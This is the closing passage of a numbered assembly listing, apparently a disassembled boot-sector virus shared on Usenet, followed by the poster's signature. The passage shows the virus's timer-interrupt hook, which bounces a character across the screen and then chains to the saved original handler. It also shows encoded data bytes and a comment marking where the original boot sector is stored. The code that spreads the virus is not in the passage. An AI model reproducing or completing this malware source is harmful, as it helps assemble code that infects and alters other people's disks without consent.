  583.    CMP   CX,ROWCLM      ; COMPARE ROW AND COLUMN MOVEMENT
  584.    JNZ   VIDEO_09         ; BRANCH IF CHANGED
  585.    MOV   AX,CHARAT      ; GET CHARACTER AND ATTRIBUTES
  586.    AND   AL,7           ; SWITCH OFF TOP BIT OF CHARACTER
  587.    CMP   AL,3           ; TEST BITS 1 AND 2
  588.    JNZ   VIDEO_08         ; BRANCH IF OFF
  589.    XOR   CH,0FFH        ; \ REVERSE ROW MOVEMENT
  590.    INC   CH             ; /
  591. VIDEO_08: 
  592.    CMP   AL,5           ; TEST BITS 1 AND 3
  593.    JNZ   VIDEO_09         ; BRANCH IF OFF
  594.    XOR   CL,0FFH        ; \ REVERSE COLUMN MOVEMENT
  595.    INC   CL             ; /
  596. VIDEO_09: 
  597.    ADD   DL,CL       ; NEW COLUMN POSITION
  598.    ADD   DH,CH       ; NEW ROW POSITION
  599.    MOV   ROWCLM,CX   ; SAVE ROW AND COLUMN POSITIONS
  600.    MOV   ROWCOL,DX   ; SAVE ROW AND COLUMN POSITIONS
  601.    MOV   AH,2        ; SET CURSOR ADDRESS
  602.    INT   10H         ; VDU INTERRUPT
  603.    MOV   AH,8        ; READ CHARACTER AND ATTRIBUTES
  604.    INT   10H         ; VDU INTERRUPT
  605.    MOV   CHARAT,AX   ; SAVE CHARACTER AND ATTRIBUTES
  606.    MOV   BL,AH       ; MOVE ATTRIBUTES
  607.    CMP   GRAPHM,1    ; TEST FOR GRAPHICS MODE
  608.    JNZ   VIDEO_10      ; BRANCH IF NOT
  609.    MOV   BL,83H      ; WRITE MODE FOR GRAPHICS
  610. VIDEO_10: 
  611.    MOV   CX,1        ; ONCE ONLY
  612.    MOV   AX,907H     ; WRITE CHARACTER AND ATTRIBUTES
  613.    INT   10H         ; VDU INTERRUPT
  614.    POP   DX          ; RESTORE CURSOR ADDRESS
  615.    MOV   AH,2        ; SET CURSOR ADDRESS
  616.    INT   10H         ; VDU INTERRUPT
  617.    POP   DX
  618.    POP   CX
  619.    POP   BX
  620.    POP   AX
  621.    POP   DS
  622.    DB 0EAH        ; FAR JUMP TO ORIGINAL INT 8
  623.    DW 0907H       ; ORG08O - ORIGINAL INT 8 OFFSET
  624.    DW 10BDH       ; ORG08S - ORIGINAL INT 8 SEGMENT
  625.  
  626.    DW 0720H       ; CHARAT - CHARACTER AND ATTRIBUTES
  627.    DW 1533H       ; ROWCOL - ROW AND COLUMN POSITIONS
  628.    DW 01FFH       ; ROWCLM - ROW AND COLUMN MOVEMENT
  629.    DB 0           ; GRAPHM - GRAPHICS MODE SWITCH
  630.    DW 3           ; MODEAP - MODE AND ACTIVE PAGE
  631.    DB 4FH         ; DW7FD6 - VISIBLE COLUMNS - 1
  632.  
  633.  
  634.    DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
  635.    DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
  636.    DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
  637.    DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
  638.    DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
  639.  
  640.    ; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
  641.  
  642. CODE  ENDS
  643.  
  644.    END   START
  645.  
  646.  
  647.  
  648.  
  649.  
  650.  
  651. --
  652. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  653. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  654. Student at the Northeatstern University College of Computer Science 
  655. "I Can't Believe It's Not Butter"
  656.  
  657.